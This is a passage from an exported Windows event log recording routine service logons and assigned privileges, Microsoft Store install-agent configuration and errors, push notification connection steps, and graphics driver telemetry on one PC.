generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.591\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:35:41.671\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:41.672\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:41.672\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:35:43.017\t1402\tData Store Cache secondary data reconciliation start.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:35:43.021\t1403\tData Store Cache secondary data reconciliation end.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:35:43.043\t3000\tTile session creation is requested for C:\\Windows\\System32\\RuntimeBroker.exe endpoint 0x0.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:43.043\t3001\tTile session creation is finished for C:\\Windows\\System32\\RuntimeBroker.exe from endpoint 0x0 with result The operation completed successfully., and 3 is assigned as session id. Queued Closes = 0, Queued Cleanups = 0\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.674\t2416\tA local notification was received from MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.678\t2418\tA local notification was submitted to threadpool: MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets [AppUserModelId] tile [NotificationType] 9398 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:44.694\t3053\ttile with notification tracking id 9398 is being delivered to MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.254\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:45.262\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:35:46.346\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"23528CA76A0\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:35:46.350\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:00.105\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:36:01.893\t211\tAdded process 9584 to Desktop AppX container 245cdaf2-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.CBS_1000.26100.344.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.598\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.615\t201\tCreated process 19360 for application Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer in package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe. [FinishPackageActivation]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:36:04.634\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:04.634\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:36:04.652\t6006\t\"Process Name: C:\\WINDOWS\\System32\\svchost.exe\nModule Name: c:\\windows\\system32\\pushtoinstall.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"canDisableApps value is 0\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\svc\\svcmain.cpp (58)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"PTI started with registration\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: ServiceInitialize\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\service.cpp (338)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.652\t6004\t\"Attempting to register with the notification service.\nError Code: Unknown HResult Error code: 0xefffffff\nFunction: RegisterForWns\nSource: onecoreuap\\enduser\\winstore\\pushtoinstall\\lib\\wnschannel.cpp (21)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Push-To-Install-Service\n05.09.2026 08:36:04.712\t2000\t\"Process Name: C:\\WINDOWS\\system32\\taskhostw.exe\nModule Name: C:\\Windows\\System32\\InstallServiceTasks.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435, UBR: 9168\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.712\t2006\t\"Setting MSA Client Id for Token requests: {f0c62012-2cef-4831-b1f7-930682874c86}\nError: Unspecified error\nFunction: \nSource: onecoreuap\\enduser\\winstore\\auth\\lib\\winstoreauth.cpp (206)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.728\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.728\t37\tThe Windows Push Notification Platform is required to connect on startup, ValidChannelsExist : true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: BatterySaverStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: ACPowerChange [PowerEventType] true [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: MonitorSettingChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.729\t1025\tA Power event was fired: OpportunisticConnectedStandbyStateChange [PowerEventType] false [Enabled].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.732\t1022\tConnectWork is requesting ConnectionManager to connect.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.735\t1113\tDevice Compact Ticket request completed with Device Id 00180018E4F8342E for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.749\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.750\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.750\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.772\t42\tCloud Notifications must be enabled in GP and MDM to receive push notifications. GroupPolicyValue: true, MDMPolicyValue: true.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:36:04.789\t2005\t\"oneSettingsconcurrentDefaultInstalls = 3, oneSettingsconcurrentMinInstalls = 3\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetConcurrentInstallsFromOneSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (763)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScanInterval (in seconds) = 86400\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1220)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScansAllowedInInterval = 10\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1222)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"OneSettingsOnlineScanCooldown (in seconds) = 30\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1243)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (537)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementState fetched from cache: 2\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementState\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2867)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementSettings fetched from OneSettings payload: [{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[\"\"Install\"\"],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"Microsoft.WindowsStore_8wekyb3d8bbwe\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9NKSQGP7F2NH\"\",\"\"9NRX63209R7B\"\",\"\"9NTXR16HNW1T\"\",\"\"9PLM9XGG6VKS\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[\"\"0x00000000\"\",\"\"0x80004004\"\",\"\"0x80070032\"\",\"\"0x8007029C\"\",\"\"0x8007045B\"\",\"\"0x80070520\"\",\"\"0x80073CFB\"\",\"\"0x80073CFF\"\",\"\"0x80073D0A\"\",\"\"0x80073D13\"\",\"\"0x80073D19\"\",\"\"0x80073D22\"\",\"\"0x80240008\"\",\"\"0x8024001E\"\",\"\"0x80240066\"\",\"\"0x803FB003\"\",\"\"0x803FB015\"\",\"\"0xC8000710\"\",\"\"0x80073CF4\"\",\"\"0x80073D01\"\",\"\"0x80070070\"\",\"\"0x80073D21\"\",\"\"0x80246017\"\",\"\"0x80073CFE\"\"],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9PLRGHGXR4FM\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[\"\"CN\"\"],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[\"\"9N3RK8ZV2ZR8\"\",\"\"9NRZT3Q9R3DL\"\",\"\"9P2B8MCSVPLN\"\",\"\"9NPV76S164X5\"\",\"\"9NBLGGH4RV3P\"\",\"\"9NBLGGH4SVJT\"\",\"\"9PHBC65ZG12V\"\",\"\"9NKSQGP7F2NH\"\",\"\"9NKRJ3SJ9SDG\"\"],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[\"\"DellInc.AlienwareCommandCenter_htrsf667h5kn2\"\",\"\"DSIC\"\",\"\"explorer\"\",\"\"AICompanion\"\",\"\"HP.Omen.OmenCommandCenter\"\",\"\"setup\"\",\"\"Language Overlay Service\"\",\"\"TabTip\"\",\"\"LiveCaptions\"\",\"\"Undetermined\"\",\"\"GamingService\"\"],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Disallowed\"\"},{\"\"clientIds\"\":[],\"\"hresults\"\":[],\"\"regions\"\":[],\"\"products\"\":[],\"\"arches\"\":[],\"\"installTypes\"\":[\"\"Install\"\"],\"\"errorStages\"\":[],\"\"listType\"\":\"\"Allowed\"\"}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementSettings\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2891)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"DirectDownloadEnablementSettings Source field missing. Defaulting to Default.\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ParseDirectDownloadSourceFromJson\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2809)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2944)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2007\t\"Error while reading DirectDownloadReplacementSettings from OneSettings cache, value will remain empty\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1360)\"\tWarning\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"DirectDownloadEnablementLiveCheckThreshold in milliseconds fetched from cache: 600000\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadDirectDownloadEnablementLiveCheckThreshold\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3005)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"ProductCatalogUrl fetched from cache: https://fe3cr.delivery.mp.microsoft.com/ClientWebService/client.asmx/secured\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadProductCatalogUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3027)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"SfEdgeFallbackEndpointUrl fetched from cache: https://sfdataservice.microsoft.com/package-retrieval\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadSfEdgeFallbackEndpointUrl\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3048)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2005\t\"CheckpointAbandonmentRules fetched from OneSettings payload: [{\"\"callerApplicationIdKeyword\"\":\"\"WindowsStore\"\",\"\"systemAttemptCountThreshold\"\":5,\"\"creationTimestampThresholdInDays\"\":2},{\"\"callerApplicationIdKeyword\"\":\"\"MoUsoCoreWorker\"\",\"\"systemAttemptCountThreshold\"\":2,\"\"creationTimestampThresholdInDays\"\":2}]\nError: Unknown HResult Error code: 0xefffffff\nFunction: _ReadCheckpointAbandonmentRules\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (3235)\"\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (556)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Failure detected\nError: JSON value not found.\nFunction: \nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (575)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"Update block list not found or empty in OneSettings\nError: Unknown HResult Error code: 0xefffffff\nFunction: DoInitializeOneSettingsConfiguration\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (1457)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\tasksdll\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.825\t2006\t\"[Telemetry]: Stats :: AppControlPreferenceOptions = 99 \u00a0ShouldHonorAppUpdatePauseFlags = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\tasksdll\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.831\t2006\t\"USO store provider is enabled.\nError: Unknown HResult Error code: 0xefffffff\nFunction: CanUseUsoStoreProvider\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\settings.cpp (2574)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:36:04.874\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:36:05.455\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:36:06.022\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity 